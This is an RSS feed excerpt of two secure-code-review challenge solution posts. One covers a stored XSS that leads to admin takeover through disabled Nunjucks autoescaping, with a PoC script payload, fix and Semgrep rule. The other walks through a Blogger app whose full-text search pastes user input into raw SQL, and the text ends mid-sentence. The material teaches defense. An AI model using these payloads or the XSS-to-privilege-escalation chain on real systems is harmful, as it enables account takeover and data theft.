href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/pages.js#L76">src/routes/pages.js#L76</a></p><p><strong>S1, XSS: this is where it breaks ❌.</strong> Go back to the template config from story 1:</p><pre>nunjucks.configure(viewsPath, {<br>  autoescape: false,</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/app.js#L56-L57">app.js#L56-L57</a></p><p><a href="https://mozilla.github.io/nunjucks/templating.html#autoescaping">Autoescaping</a> is the control that turns &lt; into &amp;lt;, &quot; into &amp;quot; and so on whenever a value is printed with {{ }}. It&#39;s exactly what the <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP XSS Prevention cheat sheet</a> calls <em>output encoding</em>. Nunjucks turns it on by default, so this line switches it <strong>off</strong> for every template at once.</p><p>Combine that with story 4 (Name is stored exactly as typed) and story 5 (Name is printed into the directory table and the admin page), and a profile field becomes HTML in the admin’s browser.</p><blockquote><em>💡 </em><strong><em>Reviewer’s lesson:</em></strong><em> when you see a template engine, a UI framework or a markdown renderer, check its </em><strong><em>escaping setting</em></strong><em> before you read a single template. One global flag can undo every </em><em>{{ value }} in the app, and it&#39;s a one-line change that&#39;s easy to miss in review.</em></blockquote><h3>6. 🧪 Exploitation</h3><h3>Why a plain &lt;script&gt; works</h3><p>Where the value lands decides what the payload has to look like:</p><ul><li><strong>The Directory</strong>, &lt;td&gt;{{ emp.name }}&lt;/td&gt;: the value is element text, so a plain &lt;script&gt;…&lt;/script&gt; becomes a real script tag. No breakout is needed.</li><li><strong>The admin page</strong>, &lt;input value=&quot;{{ emp.name }}&quot;&gt;: the value is inside a quoted attribute, so a payload needs a leading &quot;&gt; to close the attribute and the tag first.</li><li><strong>Your own profile page</strong>: the same attribute context, which is why the payload doesn’t fire while you’re typing it.</li></ul><h3>PoC</h3><p><strong>1. The employee puts a script in their Name.</strong> On <strong>My profile</strong>, they set Name to test2&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt; and click <strong>Save</strong>. The server stores it as typed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*unfvHUTG7onXJTx3.png" /></figure><p><strong>2. The admin logs in and opens the Directory.</strong> Admins land on /admin after login (top right: admin@localhost). From there they click <strong>Directory</strong>, an ordinary part of their day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7RjYXeR8Jg_ELeiq.png" /></figure><p><strong>3. The script runs in the admin’s browser.</strong> The alert comes from localhost:3000, the app&#39;s own origin, so the attacker&#39;s code is running inside the admin&#39;s session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KCK9kx3okTfvYP14.png" /></figure><h3>What a real payload can do</h3><p>An alert is only the proof. A real payload can do anything the admin&#39;s page can do:</p><ul><li><strong>Read the admin’s CSRF token</strong> from GET /api/csrf-token, or from the hidden _csrf fields on /admin.</li><li><strong>Send admin requests as the admin.</strong> The session cookie is httpOnly, so the script can&#39;t <em>read</em> it, but it doesn&#39;t need to: the browser attaches it to every request the script sends.</li><li><strong>Promote the attacker.</strong> With the token and the cookie, a POST /admin/promote/&lt;attacker-id&gt; passes requireUser, the role check and the CSRF check, because it really does come from the admin&#39;s browser.</li><li><strong>Upgrade the attacker’s existing session.</strong> requireAuth reloads the role from the database, so the attacker&#39;s own token becomes an admin token immediately.</li></ul><p><strong>Impact:</strong> any employee becomes an admin the next time an admin opens the Directory. From there they can read and change every salary, delete records, create invitations and promote others. The same payload also runs for every <em>employee</em> who opens the directory.</p><p><strong>Classification:</strong> Stored Cross-Site Scripting, <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a>, caused by disabled output encoding, <a href="https://cwe.mitre.org/data/definitions/116.html">CWE-116</a>. It turns into privilege escalation because the victim is an admin.</p><h3>7. 🛠️ The fix</h3><p><strong>Primary fix: turn output encoding back on.</strong> Delete the line or set it to true:</p><pre>nunjucks.configure(viewsPath, {<br>-  autoescape: false,<br>+  autoescape: true,<br>   express: app,<br>   noCache: process.env.NODE_ENV !== &#39;production&#39;<br> });</pre><p>Here is the real admin.html rendering the same kind of payload, before and after:</p><pre>autoescape:false -&gt; &lt;input type=&quot;text&quot; name=&quot;location&quot; value=&quot;&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&quot;&gt;<br>autoescape:true  -&gt; &lt;input type=&quot;text&quot; name=&quot;location&quot; value=&quot;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&quot;&gt;</pre><p>Nunjucks’ escaping encodes &amp; &quot; &#39; &lt; &gt;, which covers both places this app prints values: element text and double-quoted attributes. None of the templates intentionally output HTML, so nothing needs | safe.</p><p><strong>Defense-in-depth (do these too):</strong></p><ol><li><strong>Add a Content Security Policy.</strong> None of the templates use inline &lt;script&gt;, so a policy like script-src &#39;self&#39;; object-src &#39;none&#39;; base-uri &#39;none&#39; (for example with <a href="https://helmetjs.github.io/">helmet</a>) blocks this payload without breaking the UI.</li><li><strong>Validate profile fields when they come in.</strong> Enforce lengths and per-field formats (phone, desk number), and reject &lt; and &gt; in plain-text fields. This is a safety net, not the fix: output encoding is still required. If you ever need rich text, use an allowlist sanitizer like <a href="https://github.com/cure53/DOMPurify">DOMPurify</a> instead of | safe.</li><li><strong>Make privilege changes harder to ride.</strong> Require re-authentication or a confirmation step for <strong>Make admin</strong>, and audit-log role changes.</li><li><strong>Guard the config in CI.</strong> No public Semgrep ruleset flags autoescape: false for Nunjucks, but a custom rule takes a few lines:</li></ol><pre>   rules:<br>     - id: nunjucks-autoescape-disabled<br>       languages: [javascript, typescript]<br>       severity: ERROR<br>       message: Nunjucks is configured with autoescape disabled, so every {{ value }} is written into the HTML unencoded.<br>       pattern-either:<br>         - pattern: &quot;$NUNJUCKS.configure(..., {..., autoescape: false, ...})&quot;<br>         - pattern: &quot;new $NUNJUCKS.Environment(..., {..., autoescape: false, ...})&quot;</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/008-employee-directory/nunjucks-autoescape-disabled.yaml">nunjucks-autoescape-disabled.yam</a></p><p>It flags the root cause directly:</p><pre>$ semgrep scan --metrics=off \<br>       --config solutions/008-employee-directory/nunjucks-autoescape-disabled.yaml \<br>       challenges/008-employee-directory<br><br>       challenges/008-employee-directory/app.js<br>      ❯❯❱ solutions.008-employee-directory.nunjucks-autoescape-disabled<br>              56┆ nunjucks.configure(viewsPath, {<br>              57┆   autoescape: false,<br>              58┆   express: app,<br>              59┆   noCache: process.env.NODE_ENV !== &#39;production&#39;<br>              60┆ });</pre><p>The rule points at the config, not at each {{ emp.name }}, which is the right place: one flag turns off encoding for every template. A taint rule wouldn&#39;t find this anyway, because the payload is saved to MongoDB in one request and rendered in another.</p><h3>🌍 Real-world examples</h3><ul><li><a href="https://ahmdhalabi.medium.com/stored-xss-to-privilege-escalation-to-admin-takeover-to-data-breach-6239d0cc3a5c"><strong>Stored XSS to Privilege Escalation to Admin Takeover to Data Breach — Ahmad Halabi (Aug 2025)</strong></a><strong>.</strong> A bug bounty write-up on a HackerOne financial program. An employee could only see the loan they were invited to, but the loan’s <strong>purchase description</strong> was rendered without encoding. The researcher stored a &lt;script src=…&gt; payload there and invited the manager to review the loan. When the manager opened it, the script read the manager&#39;s CSRF token and replayed the role-change request, making the employee a manager. Almost exactly this challenge&#39;s chain.</li><li><a href="https://zere.es/posts/self-xss-account-takeover/"><strong>From a Sanitized Name Field to One-Click Account Takeover — zere.es (2026)</strong></a><strong>.</strong> The server stripped HTML from a <strong>name</strong> field, but the front-end decoded HTML entities and wrote the value with innerHTML, so entity-encoded markup survived and ran. The author chained it with login CSRF and OAuth-code theft for one-click takeover. A different sink with the same lesson: filtering input doesn&#39;t help when the <em>output</em> isn&#39;t encoded for its context.</li></ul><h3>📚 More resources</h3><ul><li><a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79: Cross-site Scripting</a> and <a href="https://cwe.mitre.org/data/definitions/116.html">CWE-116: Improper Encoding or Escaping of Output</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li><li><a href="https://mozilla.github.io/nunjucks/templating.html#autoescaping">Nunjucks: Autoescaping</a> and <a href="https://mozilla.github.io/nunjucks/api.html#configure">configure options</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting/stored">PortSwigger Web Security Academy: Stored XSS</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf">PortSwigger lab: Exploiting XSS to bypass CSRF defenses</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">MDN: Content Security Policy</a></li></ul><h3>🎯 Takeaway</h3><p>Employee Directory’s server-side authorization is sound: role checks, salary masking, allowlists and CSRF tokens all hold, and httpOnly keeps the session cookie out of reach. One template setting makes them irrelevant. They all still run, but once attacker script runs on your origin in an admin&#39;s browser, every check sees a legitimate admin request.</p><p>Whenever something renders in the browser, whether it’s React, Angular, a template engine or a markdown renderer, check that user input goes through HTML escaping on the way out. Keep autoescape on, and treat any field a low-privileged user writes and a high-privileged user reads as a trust boundary.</p><h3>🔔 What’s next</h3><p><strong>Challenge #9: ProjectHub</strong> is live now. Can you find the bug before the solution drops?</p><p>👉 <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/009-projecthub">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/009-projecthub</a></p><p>New challenges land every two weeks, and each drop includes the previous challenge’s solution. <strong>Watch the repo</strong> (Watch → Custom → Releases) to get notified, and subscribe to <a href="https://www.youtube.com/@AppSecUntangled">AppSec Untangled on YouTube</a> for the video walkthroughs.</p><p>If you found the bug yourself, or took a different route to it, tell me in the comments 👇</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0fFpCXAX73gR0EPL.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4190fd742a8d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-8-employee-directory-one-setting-away-from-admin-4190fd742a8d">The Secure Code Review Challenge — Solution #8: Employee Directory (One Setting Away from Admin…</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Secure Code Review Challenge — Solution #7: Blogger (One Raw Query Is All It Takes)]]></title>
            <link>https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-7-blogger-one-raw-query-is-all-it-takes-4a29115a9857?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/4a29115a9857</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Wed, 21 Oct 2026 19:04:15 GMT</pubDate>
            <atom:updated>2026-10-21T19:04:15.689Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Blogger</strong> gets almost everything right: every edit and delete checks who owns the post, the database layer uses the Knex query builder (so values are sent as bound parameters), Nunjucks escapes everything it renders, passwords are hashed with bcrypt, and the session cookie is SameSite=Lax.</p><p>It still lets <strong>anyone on the internet, without an account</strong>, read every private post and dump the users table. The way in is the search box.</p><p>This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit (with sqlmap doing the heavy lifting), and the fix. Every code snippet you need is included, so you don’t have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.</p><p>🎥 <strong>Prefer video?</strong> The full walkthrough is on YouTube:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fq-49lrgEt6I%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dq-49lrgEt6I&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fq-49lrgEt6I%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c51de94011cf29214f9bdbd1ae2b2adc/href">https://medium.com/media/c51de94011cf29214f9bdbd1ae2b2adc/href</a></iframe><h3>What is the Secure Code Review Challenge?</h3><p>It’s a free, biweekly series. Each challenge is a <strong>complete, realistic application</strong> with its own database, backend and UI, and <strong>one vulnerability planted on purpose</strong>, based on a real-world CVE or writeup. You review it the way you’d review a real codebase, then compare your reasoning with the published solution.</p><p>Every solution follows the same 7-step methodology:</p><ol><li>🗺️ <strong>Understand the application:</strong> architecture and main user stories</li><li>🚪 <strong>Identify entry points:</strong> where user input comes in</li><li>🎯 <strong>Identify dangerous sinks:</strong> where input could change behavior (queries, file paths, HTML, …)</li><li>🧩 <strong>Build a threat model:</strong> business-logic risks (authN/authZ) and source-to-sink risks (injection)</li><li>🔍 <strong>Review mitigations:</strong> which threats are actually closed, and which aren’t</li><li>🧪 <strong>Exploit:</strong> prove the unmitigated one is real</li><li>🛠️ <strong>Fix:</strong> a primary fix plus defense-in-depth</li></ol><p>📌 Repo: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge</a><br>📌 Challenge #7 source: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/007-blogger">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/007-blogger</a></p><blockquote><em>⚠️ </em><strong><em>Spoiler warning:</em></strong><em> if you want to try Blogger yourself first, stop here and come back later.</em></blockquote><h3>1. 🗺️ Understanding the application</h3><p>Blogger is a small multi-user blogging platform. You sign up, write posts, mark some of them private, and search everything you’re allowed to see.</p><ul><li><strong>Backend:</strong> Express.js 5 (Node)</li><li><strong>Frontend:</strong> server-rendered HTML pages using the Nunjucks templating engine, served by the same Express app</li><li><strong>Database:</strong> PostgreSQL, accessed through the <a href="https://knexjs.org/guide/query-builder.html">Knex query builder</a></li><li><strong>Auth:</strong> JWTs, sent either as a bearer header (JSON API) or in an httpOnly cookie (web UI)</li></ul><p>The README makes one security promise, and it explicitly includes search:</p><blockquote>“A private post is visible, editable, and deletable only by its author<em> — everyone else should be denied.”<br></em>“A full-text search<em> feature ranks posts by relevance. Results must respect privacy: you should see public posts plus your own private ones, and nobody else’s private posts.”</em></blockquote><p>The whole review comes down to whether that promise holds.</p><p>A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: <strong>what happens when it starts</strong>, and <strong>what happens when a user registers, reads, writes and searches posts</strong>.</p><h3>🚀 Story 1: what happens when the app starts</h3><p>docker-compose.yml starts two containers: a stock postgres:16 and the app. Note the database user, because it matters later. The <a href="https://hub.docker.com/_/postgres">official postgres image</a> creates POSTGRES_USER as a <strong>superuser</strong>, and the app connects as that same user:</p><pre>postgres:<br>    image: postgres:16<br>    environment:<br>      POSTGRES_DB: blogger_db<br>      POSTGRES_USER: blogger_user<br>      POSTGRES_PASSWORD: blogger_password<br>  ...<br>  app:<br>    build: .<br>    environment:<br>      DATABASE_URL: postgres://blogger_user:blogger_password@postgres:5432/blogger_db</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/docker-compose.yml#L1-L35">docker-compose.yml#L1-L35</a></p><p>The Dockerfile installs the dependencies and runs node app.js. In app.js, the app configures Nunjucks with <strong>autoescaping on</strong> (an XSS defense we&#39;ll come back to), registers the body and cookie parsers, and mounts three routers:</p><pre>const env = nunjucks.configure(viewsPath, {<br>  autoescape: true,<br>  express: app,<br>  noCache: process.env.NODE_ENV !== &#39;production&#39;<br>});<br>...<br>app.use(express.json());<br>app.use(express.urlencoded({ extended: true }));<br>app.use(cookieParser());<br><br>app.use(&#39;/&#39;, optionalAuth, pagesRoutes);<br>app.use(&#39;/api/auth&#39;, authRoutes);<br>app.use(&#39;/api/posts&#39;, optionalAuth, postsRoutes);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/app.js#L22-L37">app.js#L22-L37</a></p><p>The pages and the posts API both sit behind optionalAuth. That makes sense, because anonymous visitors can still read public posts. The middleware reads a JWT from the Authorization header or the token cookie, verifies it, loads the user from the database and sets req.user. If there&#39;s no valid token, it just moves on and leaves req.user empty:</p><pre>const optionalAuth = async (req, res, next) =&gt; {<br>  ...<br>  let token = null;<br>  const authHeader = req.headers.authorization;<br>  if (authHeader &amp;&amp; authHeader.startsWith(&#39;Bearer &#39;)) {<br>    token = authHeader.slice(7);<br>  } else if (req.cookies &amp;&amp; req.cookies.token) {<br>    token = req.cookies.token;<br>  }<br><br>  if (!token) return next();<br>  try {<br>    const decoded = jwt.verify(token, secret);<br>    const user = await db.findUserById(decoded.userId);<br>    if (user) {<br>      req.user = { id: user.id, username: user.username, email: user.email };<br>    }<br>  } catch (_) {}<br>  next();<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/middleware/auth.js#L52-L76">src/middleware/auth.js#L52-L76</a></p><p>So <strong>authentication is decided per handler</strong>, not by the middleware: every route that needs a logged-in user has to check req.user itself.</p><p>All database access goes through one class, DatabaseStore in src/store/database.js, built on Knex. Both the JSON API and the HTML pages call the same store. The README calls them &quot;the same data seen two ways&quot;.</p><h3>🔄 Story 2: register → read → write → search</h3><p><strong>Register and log in.</strong> Registration hashes the password with bcrypt (cost 10), creates the user and issues a JWT:</p><pre>const saltRounds = 10;<br>const passwordHash = await bcrypt.hash(password, saltRounds);<br><br>const user = await db.createUser(username, email, passwordHash);<br>...<br>const token = issueToken(user);<br><br>if (isWebForm(req)) {<br>  res.cookie(&#39;token&#39;, token, cookieOptions);<br>  return res.redirect(&#39;/my-posts&#39;);<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/auth.js#L58-L72">src/routes/auth.js#L58-L72</a></p><p>When the request comes from the web form, the token goes into a cookie with these options:</p><pre>const cookieOptions = {<br>  httpOnly: true,<br>  maxAge: 7 * 24 * 60 * 60 * 1000,<br>  path: &#39;/&#39;,<br>  sameSite: &#39;lax&#39;<br>};</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/auth.js#L21-L26">src/routes/auth.js#L21-L26</a></p><p><strong>Read the feed.</strong> The feed query is built with the Knex builder, and the privacy rule (“public, or mine”) is part of the WHERE clause:</p><pre>async getFeedPosts(userId, limit = 50) {<br>  const q = knex(&#39;posts as p&#39;)<br>    .join(&#39;users as u&#39;, &#39;p.user_id&#39;, &#39;u.id&#39;)<br>    .orderBy(&#39;p.created_at&#39;, &#39;desc&#39;)<br>    .limit(limit)<br>    .select(&#39;p.*&#39;, &#39;u.username as author_username&#39;);<br>  if (userId) {<br>    q.where((builder) =&gt; {<br>      builder.where(&#39;p.is_private&#39;, false).orWhere(&#39;p.user_id&#39;, userId);<br>    });<br>  } else {<br>    q.where(&#39;p.is_private&#39;, false);<br>  }<br>  ...<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/store/database.js#L66-L81">src/store/database.js#L66-L81</a></p><p><strong>Read a single post.</strong> This one fetches the post by ID first, then checks privacy on the result:</p><pre>const post = await db.getPostById(req.params.id);<br>if (!post) return res.status(404).json({ error: &#39;Post not found&#39; });<br>if (post.isPrivate &amp;&amp; (!req.user || req.user.id !== post.userId)) {<br>  return res.status(403).json({ error: &#39;Access denied&#39; });<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/posts.js#L49-L53">src/routes/posts.js#L49-L53</a></p><p><strong>Write, edit, delete.</strong> Every mutating handler follows the same pattern: require a login, load the post, compare owners:</p><pre>router.patch(&#39;/:id&#39;, async (req, res) =&gt; {<br>  ...<br>    if (!req.user) return res.status(401).json({ error: &#39;Authentication required&#39; });<br>    ...<br>    const existing = await db.getPostById(req.params.id);<br>    if (!existing) return res.status(404).json({ error: &#39;Post not found&#39; });<br>    if (existing.userId !== req.user.id) {<br>      return res.status(403).json({ error: &#39;Access denied&#39; });<br>    }</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/posts.js#L78-L86">src/routes/posts.js#L78-L86</a></p><p>…and the store scopes the write by owner a second time:</p><pre>const updated = await knex(&#39;posts&#39;)<br>  .where({ id: postId, user_id: userId })<br>  .update({ ...data, updated_at: knex.fn.now() })</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/store/database.js#L101-L110">src/store/database.js#L101-L110</a></p><p><strong>Search.</strong> The search route takes q from the query string and passes it to the store, along with the user ID if someone is logged in. <strong>No login is required:</strong></p><pre>router.get(&#39;/search&#39;, async (req, res) =&gt; {<br>  ...<br>    const q = req.query.q;<br>    const userId = req.user ? req.user.id : null;<br>    const posts = await db.searchPosts(q, userId);<br>    res.json({ posts });</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/posts.js#L33-L39">src/routes/posts.js#L33-L39</a></p><p>The web UI has the same thing at GET /search (<a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/pages.js#L48-L59">pages.js#L48-L59</a>).</p><p>searchPosts uses PostgreSQL full-text search (to_tsvector, plainto_tsquery, ts_rank) to rank results by relevance. These functions aren&#39;t first-class in the Knex builder, so this is the <strong>only query in the store that&#39;s written by hand</strong> and passed to knex.raw. We&#39;ll look at it closely in step 4/5.</p><h3>🧠 The key observation from step 1</h3><p>Every query in the app goes through the Knex builder <strong>except one</strong>:</p><pre>getFeedPosts   → knex(&#39;posts&#39;).where(...)   builder ✔<br>getPostById    → knex(&#39;posts&#39;).where(...)   builder ✔<br>updatePost     → knex(&#39;posts&#39;).where(...)   builder ✔<br>deletePost     → knex(&#39;posts&#39;).where(...)   builder ✔<br>searchPosts    → knex.raw(`...`)            hand-written SQL ⚠️</pre><p>Knex keeps you safe from SQL injection only as long as values go through it as <strong>bindings</strong>. The one place the developer stepped outside the builder is the place to slow down.</p><h3>2. 🚪 Entry points</h3><p><strong>Auth API</strong></p><ul><li>POST /api/auth/register: public, takes username, email, password, web</li><li>POST /api/auth/login: public, takes username, password, web</li></ul><p><strong>Posts API</strong></p><ul><li>GET /api/posts/feed: optional auth, no other input</li><li>GET /api/posts/mine: login required, no other input</li><li>GET /api/posts/search?q=: <strong>optional auth</strong>, takes q</li><li>GET /api/posts/:id: optional auth (private posts → owner only), takes id</li><li>POST /api/posts: login required, takes title, body, is_private</li><li>PATCH /api/posts/:id: owner only, takes id, title, body, is_private</li><li>DELETE /api/posts/:id: owner only, takes id</li></ul><p><strong>Web UI</strong></p><ul><li>GET /, GET /my-posts, GET /login, GET /register, GET /logout: an error query parameter on login/register</li><li>GET /search?q=: <strong>optional auth</strong>, takes q</li><li>GET /posts/new, GET /posts/:id, GET /posts/:id/edit, GET /posts/:id/delete: take id</li><li>POST /posts, POST /posts/:id, POST /posts/:id/delete: form fields title, body, is_private</li></ul><p><strong>On every request:</strong> the Authorization header and the token cookie.</p><h3>3. 🎯 Dangerous sinks</h3><ul><li><strong>S1: SQL queries built with the Knex query builder</strong> → <strong>SQL injection</strong>. Fed from usernames, emails, post fields, :id and the JWT&#39;s userId.</li><li><strong>S2: raw SQL passed to </strong><strong>knex.raw</strong> (full-text search) → <strong>SQL injection</strong>. Fed from q.</li><li><strong>S3: HTML rendering with Nunjucks</strong> → <strong>XSS</strong>. Fed from post titles and bodies, usernames, the search term and the error query parameter.</li><li><strong>S4: redirects</strong> (/posts/${post.id}, /register?error=…) → <strong>open redirect</strong>.</li></ul><h3>4 &amp; 5. 🧩 Threat model &amp; 🔍 mitigation review</h3><h3>🔓 Business logic</h3><p><strong>Missing authentication on mutating routes ✅.</strong> Since optionalAuth never blocks, each handler has to check for itself. Every POST, PATCH and DELETE on /api/posts starts with if (!req.user) return 401 (<a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/posts.js#L63">posts.js#L63</a>, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/posts.js#L80">#L80</a>, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/posts.js#L103">#L103</a>), and every mutating page handler redirects to /login.</p><p><strong>IDOR on edit and delete ✅.</strong> Every handler compares existing.userId !== req.user.id before acting, and the store scopes the write with .where({ id: postId, user_id: userId }) too. That&#39;s two layers of defense.</p><p><strong>Private posts leaking through reads ✅ (on paper).</strong> There are three ways to read posts, and each one enforces “public, or mine”:</p><ul><li><strong>Single post:</strong> fetched by ID, then checked on the result (post.isPrivate &amp;&amp; req.user.id !== post.userId → 403).</li><li><strong>Feed:</strong> the privacy rule is in the Knex builder’s WHERE.</li><li><strong>Search:</strong> the hand-written SQL has the same rule, WHERE (p.is_private = false OR p.user_id = ?). Keep this one in mind: the rule is only as strong as the SQL string it lives in.</li></ul><p><strong>Mass assignment ✅.</strong> Can I create or edit a post so it looks like someone else wrote it? Only if user_id can come from the request. It can&#39;t: create and update copy only title, body and is_private from the body, and the owner always comes from req.user.id:</p><pre>const { title, body, is_private: isPrivate } = req.body;<br>const updates = {};<br>if (title !== undefined) updates.title = title;<br>if (body !== undefined) updates.body = body;<br>if (isPrivate !== undefined) updates.is_private = isPrivate;</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/routes/posts.js#L87-L91">src/routes/posts.js#L87-L91</a></p><p><strong>CSRF ✅.</strong> The web UI uses cookie auth and plain HTML form POSTs with no CSRF token. The control here is the cookie’s sameSite: &#39;lax&#39;: per <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value">MDN</a>, the browser doesn&#39;t send a Lax cookie on cross-site POSTs, so a form forged on another site arrives unauthenticated. That&#39;s good enough in modern browsers, with the caveat that SameSite works per <em>site</em>, so a sibling subdomain isn&#39;t stopped (<a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#samesite-cookie-attribute">OWASP</a> treats it as defense in depth).</p><p><strong>JWT and password weaknesses ✅.</strong> Tokens are signed and verified with the secret. With jsonwebtoken <strong>9.x</strong>, unsigned alg: none tokens are refused by default, and the HMAC secret can&#39;t be swapped for a public key (<a href="https://github.com/auth0/node-jsonwebtoken/wiki/Migration-Notes:-v8-to-v9">v9 migration notes</a>). The user is reloaded from the database on every request, and passwords are hashed with bcrypt.</p><h3>💉 Source-to-sink</h3><p><strong>S3, XSS ✅.</strong> Every value reaches the templates through {{ … }}, and autoescape: true makes <a href="https://mozilla.github.io/nunjucks/api.html#autoescaping">Nunjucks HTML-escape</a> &amp; &lt; &gt; &quot; &#39;. That covers both element content (&lt;p&gt;{{ post.body }}&lt;/p&gt;) and the quoted attribute in the search box (value=&quot;{{ query }}&quot;). No template uses the | safe filter to turn escaping off.</p><p><strong>S4, open redirect ✅.</strong> An open redirect needs the <em>destination</em> to come from user input. Every redirect here goes to a hard-coded relative path (/login, /my-posts, /posts/&lt;id&gt;). The only user-controlled part is a post ID, which has to exist and pass the owner check first, and since posts.id is an integer column, //evil.com fails in Postgres before the redirect is ever reached.</p><p><strong>S1, SQL injection through the Knex builder ✅.</strong> .where(&#39;p.id&#39;, postId), .insert({...}), .update({...}): <a href="https://knexjs.org/guide/query-builder.html">the builder</a> sends every value as a <strong>bound parameter</strong>, never as SQL text.</p><p><strong>S2, SQL injection in the raw full-text search query ❌.</strong> Here’s the query:</p><pre>async searchPosts(query, userId) {<br>  if (!query || typeof query !== &#39;string&#39;) {<br>    return this.getPublicPosts(20);<br>  }<br>  const uid = userId || null;<br>  const sql = `<br>    SELECT p.*, u.username AS author_username<br>    FROM posts p<br>    JOIN users u ON p.user_id = u.id<br>    WHERE (p.is_private = false OR p.user_id = ?)<br>      AND to_tsvector(&#39;english&#39;, p.title || &#39; &#39; || COALESCE(p.body, &#39;&#39;)) @@ plainto_tsquery(&#39;english&#39;, &#39;${query}&#39;)<br>    ORDER BY ts_rank(to_tsvector(&#39;english&#39;, p.title || &#39; &#39; || COALESCE(p.body, &#39;&#39;)), plainto_tsquery(&#39;english&#39;, &#39;${query}&#39;)) DESC<br>    LIMIT 50<br>  `;<br>  const result = await knex.raw(sql, [uid]);<br>  ...<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/007-blogger/src/store/database.js#L117-L134">src/store/database.js#L117-L134</a></p><p>Look at the two values in it:</p><ul><li><strong>The user ID</strong> is a ? placeholder, passed to knex.raw in the bindings array. That&#39;s safe.</li><li><strong>The search term</strong> is pasted in with a JavaScript template literal, &#39;${query}&#39;, <strong>twice</strong>. JavaScript substitutes it <em>before Knex ever sees the string</em>, so to knex.raw 